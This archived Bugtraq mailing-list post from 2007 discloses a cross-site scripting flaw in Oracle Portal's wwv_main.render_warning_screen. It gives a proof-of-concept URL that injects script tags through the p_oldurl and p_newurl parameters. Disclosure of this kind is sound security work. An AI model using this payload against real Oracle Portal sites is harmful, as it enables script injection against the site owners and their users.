Oracle Portal PORTAL.wwv_main.render_warning_screen XSS
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Oracle Portal PORTAL.wwv_main.render_warning_screen XSS
- From: "Sea Shark" <sead3nx@xxxxxxxxx>
- Date: Fri, 16 Mar 2007 14:17:53 +0200
- Dkim-signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta; h=domainkey-signature:received:received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=WNhRG60jeb1z80WQNWMhMO7H6k06C/NRKBUMOtTt4oDj1U/oWcXbe5IAsBYpCj3CxnpzuNdD37TAaj1/3pGIqjTzqE6TuR7iFhmhBTIxv2ABsKi0I1ipNQ7wvUEiqN6DvIdmfB0E3jhYqMRmXp4LdUQUjzzc1DUpZ4x98pbv6fc=
- Domainkey-signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta; h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=UY5dvbJG24Yk0QF4SDeGdRYreYKZyW9NWpPhlmiO8biRIuW7U9FwlLrexoQZt38zln+9duK+60WduohqmF6J/869mLp54Fcsckd7RxAO9yMIIpv9tIIja05yOmkeBGizUevx0C0Eus3Rr6PijYJlmMql0PRUfZ18f1r7mVv5cBU=
- List-help: <mailto:bugtraq-help@securityfocus.com>
- List-id: <bugtraq.list-id.securityfocus.com>
- List-post: <mailto:bugtraq@securityfocus.com>
- List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
- List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
- Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
Hi All,
During pentest i have noticed XSS bug in
PORTAL.wwv_main.render_warning_screen application of oracle portal.
http://somesite/pls/portal/PORTAL.wwv_main.render_warning_screen?p_oldurl='
<script>alert('inT')</script>&p_newurl='<script>alert('ellect')</script>
Greets,
d3nx